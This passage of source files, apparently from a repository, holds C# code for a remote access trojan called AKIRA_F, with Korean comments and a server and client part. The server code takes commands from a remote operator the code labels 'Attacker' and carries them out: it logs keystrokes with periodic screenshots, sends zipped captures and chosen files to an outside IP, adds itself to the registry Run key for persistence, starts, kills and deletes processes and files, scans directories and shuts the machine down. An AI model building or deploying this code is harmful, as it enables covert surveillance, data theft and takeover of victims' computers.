Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy); if (!Directory.Exists("C:\\work")) { Directory.CreateDirectory("C:\\work"); bmpScreenshot.Save("C:\\work\\" + FN + ".png", ImageFormat.Png); bmpScreenshot.Dispose(); } else { try { if (File.Exists("C:\\work\\1.png")) { DirectoryInfo dir = new DirectoryInfo("C:\\work"); foreach (string name in Directory.GetFiles(Convert.ToString(dir))) { string[] temp = name.Split('\\'); Console.WriteLine(temp[2]); // x.png cts.chat = temp[2]; cts.T2S = 1; string[] temp2 = temp[2].Split('.'); Console.WriteLine(temp2[0]); cts.chat = temp[0]; cts.T2S = 1; ms.a.Add(Convert.ToInt32(temp2[0])); } foreach (Int32 b in ms.a) { if (max < b) { max = b; } } Console.WriteLine("최대값 : " + max); cts.chat = "최대값 : " + max; cts.T2S = 1; bmpScreenshot.Save("C:\\work\\" + (max + 1) + ".png", ImageFormat.Png); bmpScreenshot.Dispose(); } else { bmpScreenshot.Save("C:\\work\\" + FN + ".png", ImageFormat.Png); bmpScreenshot.Dispose(); } } catch { bmpScreenshot.Save("C:\\work\\" + FN + ".png", ImageFormat.Png); bmpScreenshot.Dispose(); } } } private void threadListen(object sender) //서버 시작부분 { System.Timers.Timer timer2 = new System.Timers.Timer(); //키로그캡쳐 timer2.Interval = 1000; timer2.Elapsed += new ElapsedEventHandler(timer2_Elapsed); Form1 cts = new Form1(); while (true) { Socket m_client = sender as Socket; m_client.Listen(100); Socket newSocket = m_client.Accept(); while (true) { try { //문자열 수신부 byte[] data = new byte[1024]; int bytes = newSocket.Receive(data); string result = Encoding.Unicode.GetString(data, 0, bytes); IPEndPoint remoteIP = newSocket.RemoteEndPoint as IPEndPoint; IPEndPoint localIP = newSocket.LocalEndPoint as IPEndPoint; Console.WriteLine("SERVER ip : " + localIP.ToString() + " REMOTE ip : " + remoteIP.ToString()); cts.chat = "SERVER ip : " + localIP.ToString() + " REMOTE ip : " + remoteIP.ToString(); cts.T2S = 1; Console.WriteLine("Attacker : " + result); cts.chat = "Attacker : " + result; cts.T2S = 1; string[] temp = result.Split(':'); if (temp[0] == "FTP$") { try { if (!Directory.Exists("C:\\factory")) { Directory.CreateDirectory("C:\\factory"); Console.WriteLine("신규폴더 생성 완료"); cts.chat = "신규폴더 생성 완료"; cts.T2S = 1; } else { FTPFileN = temp[1]; Console.WriteLine("파일 읽기 성공"); cts.chat = "파일 읽기 성공"; cts.T2S = 1; cts.chat = temp[1]; cts.T2S = 1; string msg = "전송중..."; //Received 되는 문자열 byte[] Error = Encoding.Unicode.GetBytes(msg); newSocket.Send(Error, Error.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg + Environment.NewLine; cts.T2S = 1; FTPListen(); } } catch { string msg = "파일이 이미 있거나 잘못 입력되었습니다."; //Received 되는 문자열 byte[] Error = Encoding.Unicode.GetBytes(msg); newSocket.Send(Error, Error.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg + Environment.NewLine; cts.T2S = 1; } } else if (temp[0] == "MSG$") { MessageBox.Show(temp[1].ToString()); Console.WriteLine(temp[1]); cts.chat = temp[1]; cts.T2S = 1; } else if (temp[0] == "CAP$") { CAP(); string msg = "실행완료 되었습니다!!"; //Received 되는 문자열 byte[] Error = Encoding.Unicode.GetBytes(msg); newSocket.Send(Error, Error.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); } else if (temp[0] == "CONNECT$") { string msg = "접속 되었습니다!"; //Received 되는 문자열 byte[] Error = Encoding.Unicode.GetBytes(msg); newSocket.Send(Error, Error.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg + Environment.NewLine; cts.T2S = 1; } else if (temp[0] == "STF$") { string[] Dirtemp = temp[1].Split('*'); //경로의 '*'문자를 ':' 로 변경 string DR = ""; //수정된 경로를 저장할 곳이다. for (int i = 0; i < Dirtemp.Length; i++) { DR += Dirtemp[i] + ":"; } DR = DR.Substring(0, DR.LastIndexOf(':')); //마지막 문자열 ":" 을 삭제함 string prog = Path.Combine(DR); Process.Start(prog); string msg = "실행완료 되었습니다!!"; //Received 되는 문자열 byte[] Error = Encoding.Unicode.GetBytes(msg); newSocket.Send(Error, Error.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg + Environment.NewLine; cts.T2S = 1; } else if (temp[0] == "KLO$") { key2 = 1; timer2.Start(); Thread KLO = new Thread(new ThreadStart(KLY)); //키로그 KLO.Start(); string msg = "키보드 후킹이 시작되었습니다. 로그와사진의 경로는 C:\\factory\\key\\ 안에저장됩니다."; //Received 되는 문자열 byte[] Error = Encoding.Unicode.GetBytes(msg); newSocket.Send(Error, Error.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg + Environment.NewLine; cts.T2S = 1; } else if (temp[0] == "KLN$") { key2 = 0; timer2.Stop(); string msg = "키보드 후킹이 중지되었습니다."; //Received 되는 문자열 byte[] Error = Encoding.Unicode.GetBytes(msg); newSocket.Send(Error, Error.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg + Environment.NewLine; cts.T2S = 1; } else if (temp[0] == "WEB$") { Thread WebServer = new Thread(new ThreadStart(WSV)); WebServer.Start(); //Process.Start(WSV);//ASP.NET서버 string msg = "화면이 공유되었습니다. 'http://타겟IP:8087' 에서 확인 가능합니다."; //Received 되는 문자열 byte[] Error = Encoding.Unicode.GetBytes(msg); newSocket.Send(Error, Error.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg + Environment.NewLine; cts.T2S = 1; } else if (temp[0] == "RMT$") { if (File.Exists(@"C:\factory\SMT1.0.exe")) { AuthorizeProgram("SMT1.0.exe", @"C:\factory\SMT1.0.exe"); Process.Start(@"C:\factory\SMT1.0.exe"); string msg = "화면이 공유되었습니다. 'http://타겟IP:8050' 에서 확인 가능합니다."; //Received 되는 문자열 byte[] Error = Encoding.Unicode.GetBytes(msg); newSocket.Send(Error, Error.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg + Environment.NewLine; cts.T2S = 1; } else { string msg = "STM 모듈이 없습니다. 업로드 기능을 통해 모듈을 먼저 factory에 올려주세요"; //Received 되는 문자열 byte[] Error = Encoding.Unicode.GetBytes(msg); newSocket.Send(Error, Error.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg + Environment.NewLine; cts.T2S = 1; } } else if (temp[0] == "RMN$") { Process[] procList = Process.GetProcessesByName("SMT1.0"); if (procList.Length > 0) { procList[0].Kill(); string msg = "화면공유가 중지되었습니다."; byte[] Error = Encoding.Unicode.GetBytes(msg); newSocket.Send(Error, Error.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg + Environment.NewLine; cts.T2S = 1; } else { string msg = "Error : 화면공유중이 아닙니다."; byte[] Error = Encoding.Unicode.GetBytes(msg); newSocket.Send(Error, Error.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg + Environment.NewLine; cts.T2S = 1; } } else if (temp[0] == "STH$") { string time = temp[1].ToString(); Process.Start("shutdown.exe", "-s -t " + time); newSocket.Close(); m_client.Close(); return; } else if (temp[0] == "STT$") { RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true); //레지스트리 등록 할때 if (registryKey.GetValue("MyApp") == null) { registryKey.SetValue("MyApp", Application.ExecutablePath.ToString()); } string msg = "시작프로그램이 등록되었습니다."; //Received 되는 문자열 byte[] Error = Encoding.Unicode.GetBytes(msg); newSocket.Send(Error, Error.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg + Environment.NewLine; cts.T2S = 1; } else if (temp[0] == "STD$") { RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true); //레지스트리 삭제 할때 if (registryKey.GetValue("MyApp") == null) { registryKey.DeleteValue("MyApp", false); } string msg = "시작프로그램 등록이 해제되었습니다."; //Received 되는 문자열 byte[] Error = Encoding.Unicode.GetBytes(msg); newSocket.Send(Error, Error.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg + Environment.NewLine; cts.T2S = 1; } else if (temp[0] == "WIN$") { try { int y = Convert.ToInt32(temp[1]); for (int x = 0; x < y; x++) { Process.Start("http://" + temp[2]); } string msg = "성공"; //Received 되는 문자열 byte[] Error = Encoding.Unicode.GetBytes(msg); newSocket.Send(Error, Error.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg + Environment.NewLine; cts.T2S = 1; } catch { string msg = "성공"; //Received 되는 문자열 byte[] Error = Encoding.Unicode.GetBytes(msg); newSocket.Send(Error, Error.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg + Environment.NewLine; cts.T2S = 1; Console.WriteLine("인수가 입력되지 않았습니다. 다시입력해 주세요"); cts.chat = "인수가 입력되지 않았습니다. 다시입력해 주세요"; cts.T2S = 1; } } else if (temp[0] == "KILL$") { string msg = "종료성공"; //Received 되는 문자열 byte[] Error = Encoding.Unicode.GetBytes(msg); newSocket.Send(Error, Error.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg + Environment.NewLine; cts.T2S = 1; Process[] processList = Process.GetProcessesByName("AKIRA_F_Sev.exe"); if (processList.Length > 0) { processList[0].Kill(); } Environment.Exit(0); } else if (temp[0] == "POK$") { Process[] processList = Process.GetProcessesByName(temp[1].ToString()); if (processList.Length > 0) { processList[0].Kill(); } string msg = "종료성공"; //Received 되는 문자열 byte[] Error = Encoding.Unicode.GetBytes(msg); newSocket.Send(Error, Error.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg + Environment.NewLine; cts.T2S = 1; } else if (temp[0] == "IEX$") { string msg = "익스플로러 종료성공"; //Received 되는 문자열 byte[] Error = Encoding.Unicode.GetBytes(msg); newSocket.Send(Error, Error.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg + Environment.NewLine; cts.T2S = 1; Process[] processList = Process.GetProcessesByName("iexplorer"); if (processList.Length > 0) { processList[0].Kill(); } } else if (temp[0] == "POL$") { string Ptemp = ""; try { Process[] allProc = Process.GetProcesses(); //시스템의 모든 프로세스 정보 출력 int i = 1; Ptemp += "****** 모든 프로세스 정보 ******" + Environment.NewLine; Console.WriteLine("현재 실행중인 모든 프로세스 수 : {0}", allProc.Length); cts.chat = "현재 실행중인 모든 프로세스 수 : " + allProc.Length; cts.T2S = 1; foreach (Process p in allProc) { Ptemp += i++ + "번째 프로세스 이름 : " + p.ProcessName + Environment.NewLine; } string msg = Ptemp; //Received 되는 문자열 byte[] Error = Encoding.Unicode.GetBytes(msg); newSocket.Send(Error, Error.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg + Environment.NewLine; cts.T2S = 1; } catch { string msg = "명령이 잘못되었거나 소스코드에 문제가 있습니다."; //Received 되는 문자열 byte[] Error = Encoding.Unicode.GetBytes(msg); newSocket.Send(Error, Error.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg + Environment.NewLine; cts.T2S = 1; } } else if (temp[0] == "DOWN$") { //temp[2] = 다운로드 받을 파일의 경로 if (temp[2] == "캡쳐") { try { string Zip = "C:\\work.zip"; string path = "C:\\work\\"; if (File.Exists(Zip)) { File.Delete(Zip); } else { ZipFile.CreateFromDirectory(path, Zip); } Yip = temp[1].ToString(); //다운로드 받는 컴퓨터의 IP ipep1 = new IPEndPoint(IPAddress.Parse(Yip), 7777); Socket server1 = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); server1.Connect(ipep1); Console.WriteLine(Environment.NewLine + "접속완료!!"); cts.chat = Environment.NewLine + "접속완료!!"; cts.T2S = 1; FileStream fileStr = new FileStream(Zip, FileMode.Open, FileAccess.Read); int fileLength = (int)fileStr.Length; byte[] buffer = BitConverter.GetBytes(fileLength); server1.Send(buffer); int count = fileLength / 1024 + 1; BinaryReader reader = new BinaryReader(fileStr); for (int i = 0; i < count; i++) { buffer = reader.ReadBytes(1024); server1.Send(buffer); } reader.Close(); server1.Close(); } catch { } } else if (temp[2] == "키로그") { try { string Zip = "C:\\work.zip"; string path = "C:\\factory\\Key\\"; if (File.Exists(Zip)) { File.Delete(Zip); } else { ZipFile.CreateFromDirectory(path, Zip); } Yip = temp[1].ToString(); //다운로드 받는 컴퓨터의 IP ipep1 = new IPEndPoint(IPAddress.Parse(Yip), 7777); Socket server1 = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); server1.Connect(ipep1); Console.WriteLine(Environment.NewLine + "접속완료!!"); cts.chat = Environment.NewLine + "접속완료!!"; cts.T2S = 1; FileStream fileStr = new FileStream(Zip, FileMode.Open, FileAccess.Read); int fileLength = (int)fileStr.Length; byte[] buffer = BitConverter.GetBytes(fileLength); server1.Send(buffer); int count = fileLength / 1024 + 1; BinaryReader reader = new BinaryReader(fileStr); for (int i = 0; i < count; i++) { buffer = reader.ReadBytes(1024); server1.Send(buffer); } reader.Close(); server1.Close(); if (File.Exists(Zip)) { File.Delete(Zip); } } catch { if (File.Exists(@"C:\work.zip")) { File.Delete(@"C:\work.zip"); } } } else { try { string[] Dirtemp = temp[2].Split('*'); //경로의 '*'문자를 ':' 로 변경 string DR = ""; //수정된 경로를 저장할 곳이다. for (int i = 0; i < Dirtemp.Length; i++) { DR += Dirtemp[i] + ":"; } DR = DR.Substring(0, DR.LastIndexOf(':')); //마지막 문자열 ":" 을 삭제함 //string Zip = "C:\\work.zip"; string path = DR; //if (File.Exists(Zip)) //{ // File.Delete(Zip); //} //else // { // ZipFile.CreateFromDirectory(path, Zip); //} Yip = temp[1].ToString(); //다운로드 받는 컴퓨터의 IP ipep1 = new IPEndPoint(IPAddress.Parse(Yip), 7777); Socket server1 = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); server1.Connect(ipep1); Console.WriteLine(Environment.NewLine + "접속완료!!"); cts.chat = Environment.NewLine + "접속완료!!"; cts.T2S = 1; FileStream fileStr = new FileStream(path, FileMode.Open, FileAccess.Read); int fileLength = (int)fileStr.Length; byte[] buffer = BitConverter.GetBytes(fileLength); server1.Send(buffer); int count = fileLength / 1024 + 1; BinaryReader reader = new BinaryReader(fileStr); for (int i = 0; i < count; i++) { buffer = reader.ReadBytes(1024); server1.Send(buffer); } reader.Close(); server1.Close(); } catch { } } } else if (temp[0] == "DIR$") { try { Console.WriteLine(temp[1]); cts.chat = temp[1]; cts.T2S = 1; string STest = temp[1].ToString(); char[] Test = STest.ToCharArray(); //받은 값은 Char배열로 나열함 foreach (char ST in Test) { if (ST == '*') { T = 1; } } if (T == 0) //에러인자가 "거짓" 일 경우 에러를 BroadCast 한 후에 return { string msg = "명령을 실행할 수 없습니다."; //Received 되는 문자열 byte[] Error = Encoding.Unicode.GetBytes(msg); newSocket.Send(Error, Error.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg; cts.T2S = 1; } else if (T == 1) { string[] Dirtemp = temp[1].Split('*'); //경로의 '*'문자를 ':' 로 변경 string DR = ""; //수정된 경로를 저장할 곳이다. for (int i = 0; i < Dirtemp.Length; i++) { DR += Dirtemp[i] + ":"; } DR = DR.Substring(0, DR.LastIndexOf(':')); //마지막 문자열 ":" 을 삭제함 Console.WriteLine("지정된 경로 : " + DR); cts.chat = "지정된 경로 : " + DR; cts.T2S = 1; byte[] buffer = Encoding.Unicode.GetBytes("Server : 지정된 경로 - " + DR + Environment.NewLine + "데이터를 탐색합니다."); newSocket.Send(buffer, buffer.Length, SocketFlags.None); DirScan(Path.Combine(DR)); //함수를 새로 실행하여 값을 수동(?)으로 반환받는다 string DirInfo = DIRSC; //반환값 저장 byte[] Dir = Encoding.Unicode.GetBytes(DirInfo.ToString()); newSocket.Send(Dir, Dir.Length, SocketFlags.None); Console.WriteLine("Send data : 전송완료"); Console.WriteLine(); cts.chat = "Send data : 전송완료"; cts.T2S = 1; T = 0; //초기화 DIRSC = ""; } } catch { string msg = "명령을 실행할 수 없습니다."; //Received 되는 문자열 byte[] buffer = Encoding.Unicode.GetBytes(msg); newSocket.Send(buffer, buffer.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg; cts.T2S = 1; } } else if (temp[0] == "DEF$") { try { string[] Dirtemp = temp[1].Split('*'); //경로의 '*'문자를 ':' 로 변경 string Dtemp = ""; //수정된 경로를 저장할 곳이다. for (int i = 0; i < Dirtemp.Length; i++) { Dtemp += Dirtemp[i] + ":"; } Dtemp = Dtemp.Substring(0, Dtemp.LastIndexOf(':')); //마지막 문자열 ":" 을 삭제함 if (!File.Exists(Dtemp)) { string msg = "파일이 없거나 잘못입력되었습니다."; //Received 되는 문자열 byte[] buffer = Encoding.Unicode.GetBytes(msg); newSocket.Send(buffer, buffer.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg; cts.T2S = 1; } else { File.Delete(Dtemp); string msg = "삭제완료"; //Received 되는 문자열 byte[] buffer = Encoding.Unicode.GetBytes(msg); newSocket.Send(buffer, buffer.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg; cts.T2S = 1; } } catch { string msg = "파일이 없거나 잘못입력되었습니다."; //Received 되는 문자열 byte[] buffer = Encoding.Unicode.GetBytes(msg); newSocket.Send(buffer, buffer.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg; cts.T2S = 1; } } else if (temp[0] == "DIRF$") { try { Console.WriteLine(temp[1]); cts.chat = temp[1]; cts.T2S = 1; string STest = temp[1].ToString(); char[] Test = STest.ToCharArray(); //받은 값은 Char배열로 나열함 foreach (char ST in Test) { if (ST == '*') { T = 1; } } if (T == 0) //에러인자가 "거짓" 일 경우 에러를 BroadCast 한 후에 return { string msg = "명령을 실행할 수 없습니다."; //Received 되는 문자열 byte[] Error = Encoding.Unicode.GetBytes(msg); newSocket.Send(Error, Error.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg; cts.T2S = 1; } else if (T == 1) { string[] Dirtemp = temp[1].Split('*'); //경로의 '*'문자를 ':' 로 변경 string DR = ""; //수정된 경로를 저장할 곳이다. for (int i = 0; i < Dirtemp.Length; i++) { DR += Dirtemp[i] + ":"; } DR = DR.Substring(0, DR.LastIndexOf(':')); //마지막 문자열 ":" 을 삭제함 Console.WriteLine("지정된 경로 : " + DR); cts.chat = "지정된 경로 : " + DR; cts.T2S = 1; byte[] buffer = Encoding.Unicode.GetBytes("Server : 지정된 경로 - " + DR + Environment.NewLine + "데이터를 탐색합니다."); newSocket.Send(buffer, buffer.Length, SocketFlags.None); string DirInfo = ""; DirectoryInfo Dtemp = new DirectoryInfo(DR); Console.WriteLine(Dtemp); cts.chat = Dtemp.ToString(); cts.T2S = 1; DirInfo += Dtemp + Environment.NewLine; FileInfo[] files = Dtemp.GetFiles(); foreach (FileInfo file2 in files) //파일 정보들을 반환함 { DirInfo += Path.Combine(Dtemp.ToString() + "\\" + file2) + Environment.NewLine; Console.WriteLine(Path.Combine(Dtemp.ToString() + "\\" + file2)); cts.chat = Path.Combine(Dtemp.ToString() + "\\" + file2); cts.T2S = 1; } byte[] Dir = Encoding.Unicode.GetBytes(DirInfo.ToString()); newSocket.Send(Dir, Dir.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", Dir); Console.WriteLine(); cts.chat = "Send data : " + Dir; cts.T2S = 1; T = 0; //초기화 } } catch { string msg = "명령을 실행할 수 없습니다."; //Received 되는 문자열 byte[] buffer = Encoding.Unicode.GetBytes(msg); newSocket.Send(buffer, buffer.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg; cts.T2S = 1; } } else if (temp[0] == "DIRO$") { try { Console.WriteLine(temp[1]); cts.chat = temp[1]; cts.T2S = 1; string STest = temp[1].ToString(); char[] Test = STest.ToCharArray(); //받은 값은 Char배열로 나열함 foreach (char ST in Test) { if (ST == '*') { T = 1; } } if (T == 0) //에러인자가 "거짓" 일 경우 에러를 반환한 후에 return { string msg = "명령을 실행할 수 없습니다."; //Received 되는 문자열 byte[] Error = Encoding.Unicode.GetBytes(msg); newSocket.Send(Error, Error.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg; cts.T2S = 1; } else if (T == 1) { string[] Dirtemp = temp[1].Split('*'); //경로의 '*'문자를 ':' 로 변경 string DR = ""; //수정된 경로를 저장할 곳이다. for (int i = 0; i < Dirtemp.Length; i++) { DR += Dirtemp[i] + ":"; } DR = DR.Substring(0, DR.LastIndexOf(':')); //마지막 문자열 ":" 을 삭제함 Console.WriteLine("지정된 경로 : " + DR); cts.chat = "지정된 경로 : " + DR; cts.T2S = 1; byte[] buffer = Encoding.Unicode.GetBytes("Server : 지정된 경로 - " + DR + Environment.NewLine + "데이터를 탐색합니다."); newSocket.Send(buffer, buffer.Length, SocketFlags.None); FolderScan(Path.Combine(DR)); //함수를 새로 실행하여 값을 수동(?)으로 반환받는다 string DirInfo = FolderSC; //반환값 저장 byte[] Dir = Encoding.Unicode.GetBytes(DirInfo.ToString()); newSocket.Send(Dir, Dir.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", Dir); Console.WriteLine(); cts.chat = "Send data : " + Dir; cts.T2S = 1; T = 0; //초기화 FolderSC = ""; } } catch { string msg = "명령을 실행할 수 없습니다."; //Received 되는 문자열 byte[] buffer = Encoding.Unicode.GetBytes(msg); newSocket.Send(buffer, buffer.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "지정된 경로 : " + msg; cts.T2S = 1; } } else { string msg = "명령을 실행할 수 없습니다."; //Received 되는 문자열 byte[] buffer = Encoding.Unicode.GetBytes(msg); newSocket.Send(buffer, buffer.Length, SocketFlags.None); Console.WriteLine("Send data : {0}", msg); Console.WriteLine(); cts.chat = "Send data : " + msg; cts.T2S = 1; } } catch (SocketException se) { Console.WriteLine(se.Message); break; } } } } //함수끝나는 부분 public void timer2_Elapsed(object sender, ElapsedEventArgs e) //키로그캡쳐 함수시작 { key++; if (key == 5) { File.AppendAllText(KLPath + "KL_log.txt", Environment.NewLine + DateTime.Now.ToString("MM월-dd일-HH시-mm분-ss초")); var bmpScreenshot = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb); var gfxScreenShot = Graphics.FromImage(bmpScreenshot); gfxScreenShot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy); bmpScreenshot.Save("C:\\factory\\Key\\" + DateTime.Now.ToString("MM월-dd일-HH시-mm분-ss초") + ".png", ImageFormat.Png); bmpScreenshot.Dispose(); key = 0; } } public void KLY() { Form1 cts = new Form1(); while (true) { if (key2 == 1) { for (Int32 i = 0; i < 255; i++) { int KeyState = GetAsyncKeyState(i); if (KeyState == 1 || KeyState == -32767) { Console.WriteLine((Keys)i); cts.chat = ((Keys)i).ToString(); cts.T2S = 1; if (Convert.ToString((Keys)i) == "Tab" || Convert.ToString((Keys)i) == "ShiftKey" || Convert.ToString((Keys)i) == "RShiftKey" || Convert.ToString((Keys)i) == "Back" || Convert.ToString((Keys)i) == "LButton" || Convert.ToString((Keys)i) == "RButton" || Convert.ToString((Keys)i) == "Capital" || Convert.ToString((Keys)i) == "ContorlKey" || Convert.ToString((Keys)i) == "LControlKey" || Convert.ToString((Keys)i) == "LMenu" || Convert.ToString((Keys)i) == "Menu" || Convert.ToString((Keys)i) == "Oem5" || Convert.ToString((Keys)i) == "Return" || Convert.ToString((Keys)i) == "Up" || Convert.ToString((Keys)i) == "Down" || Convert.ToString((Keys)i) == "Left" || Convert.ToString((Keys)i) == "Right" || Convert.ToString((Keys)i) == "Decimal" || Convert.ToString((Keys)i) == "OemPeriod" || Convert.ToString((Keys)i) == "Oemcomma" || Convert.ToString((Keys)i) == "Oem7" || Convert.ToString((Keys)i) == "KanaMode" || Convert.ToString((Keys)i) == "HanjaMode" || Convert.ToString((Keys)i) == "NumLock" || Convert.ToString((Keys)i) == "Space" || Convert.ToString((Keys)i) == "Home" || Convert.ToString((Keys)i) == "End" || Convert.ToString((Keys)i) == "PageUp" || Convert.ToString((Keys)i) == "Next" || Convert.ToString((Keys)i) == "Delete" || Convert.ToString((Keys)i) == "Insert" || Convert.ToString((Keys)i) == "Escape" || Convert.ToString((Keys)i) == "OemQuestion") { if (!Directory.Exists(KLPath)) { Directory.CreateDirectory(KLPath); string toStringKeys = Convert.ToString((Keys)i); File.AppendAllText(KLPath + "KL.log.txt", " [" + toStringKeys + "] "); break; } else { string toStringKeys = Convert.ToString((Keys)i); File.AppendAllText(KLPath + "KL_log.txt", " [" + toStringKeys + "] "); break; } } else { if (!Directory.Exists(KLPath)) { Directory.CreateDirectory(KLPath); string toStringKeys = Convert.ToString((Keys)i); File.AppendAllText(KLPath + "KL.log.txt", "+" + toStringKeys); break; } else { string toStringKeys = Convert.ToString((Keys)i); File.AppendAllText(KLPath + "KL_log.txt", "+" + toStringKeys); break; } } } } } else { return; } } } public void FolderScan(string name) { try { Form1 cts = new Form1(); string[] dir = Directory.GetDirectories(name); foreach (string Dtemp in dir) { Console.WriteLine(Dtemp); FolderSC += Dtemp + Environment.NewLine; cts.chat = Dtemp; cts.T2S = 1; } } catch { } } public void DirScan(string name) { try { Form1 cts = new Form1(); string[] dir = Directory.GetDirectories(name); foreach (string Dtemp in dir) { Console.WriteLine(Dtemp); DIRSC += Dtemp + Environment.NewLine; cts.chat = Dtemp; cts.T2S = 1; string[] files = Directory.GetFiles(Dtemp); foreach (string FTemp in files) { Console.WriteLine(FTemp); DIRSC += FTemp + Environment.NewLine; cts.chat = FTemp; cts.T2S = 1; } DirScan(Dtemp); } } catch { } } } class test1 { public List<Int32> a { get; set; } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace AKIRA_F_Clt { public partial class InputST : Form { public InputST() { InitializeComponent(); } public static string Passvalue { get; set; } private void InputST_Load(object sender, EventArgs e) { } private void button1_Click(object sender, EventArgs e) { Passvalue = textBox1.Text; textBox1.Text = ""; this.Close(); } private void button2_Click(object sender, EventArgs e) { Passvalue = "<PASSWORD>$"; textBox1.Text = ""; this.Close(); } private void textBox1_KeyDown(object sender, KeyEventArgs e) { if (e.KeyCode == Keys.Enter) { button1_Click(sender, e); } } } } <file_sep>using System.Windows; using System; using System.Collections.Generic; using System.IO; using System.Net; using System.Net.Sockets; using System.Text; using System.Threading; using Microsoft.Win32; using System.Runtime.InteropServices; using System.Diagnostics; using System.Windows.Media; using System.Media; namespace AKIRA_F_Clt { /// <summary> /// MainWindow.xaml에 대한 상호 작용 논리 /// </summary> public partial class MainWindow : Window { public static string ip, FileName; //Set the IP address of the server, and its port. public IPEndPoint ipep1; public IPEndPoint ipep2; public static IPEndPoint ipEndPoint1 = new IPEndPoint(IPAddress.Any, 7777); //파일 다운로드 서버 public static IPEndPoint ipEndPoint2 = new IPEndPoint(IPAddress.Any, 7778); //더미포트 public static IPEndPoint[] ipEndPoint = new IPEndPoint[2] { ipEndPoint1, ipEndPoint2 }; public Socket server1 = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); public static byte[] data = new byte[1024]; public static string WARN = ""; public SoundPlayer md = new SoundPlayer(Properties.Resources.mic); public string warn { get { return WARN; } set { WARN = value; } } public MainWindow() { InitializeComponent(); PORT_Text.IsEnabled = false; PORT_Text.Text = "AUTO MODE"; BUT2.IsEnabled = false; md.PlayLooping(); } private void Window_Loaded(object sender, RoutedEventArgs e) { } private void Button_Click_1(object sender, RoutedEventArgs e) { if (BUT.IsEnabled == false) { if (CONSOLE.Text == "/help") { help(); } else if (CONSOLE.Text == "/업로드") { richitextbox1.AppendText("보낼파일은 반드시 현재 프로그램의 경로안에 같이 있어야 합니다!!!" + Environment.NewLine); //richitextbox1.AppendText("이름.확장명" + Environment.NewLine); //CONSOLE.Text = "파일의 경로+이름+확장명을 입력해 주세요"; OpenFileDialog pFileDlg = new OpenFileDialog(); pFileDlg.Filter = "All Files(*.*)|*.*"; pFileDlg.Title = "보낼 파일의 경로를 선택해 주세요"; //pFileDlg.ShowDialog(); Nullable<bool> result = pFileDlg.ShowDialog(); if (result == true) { string GEFNE = 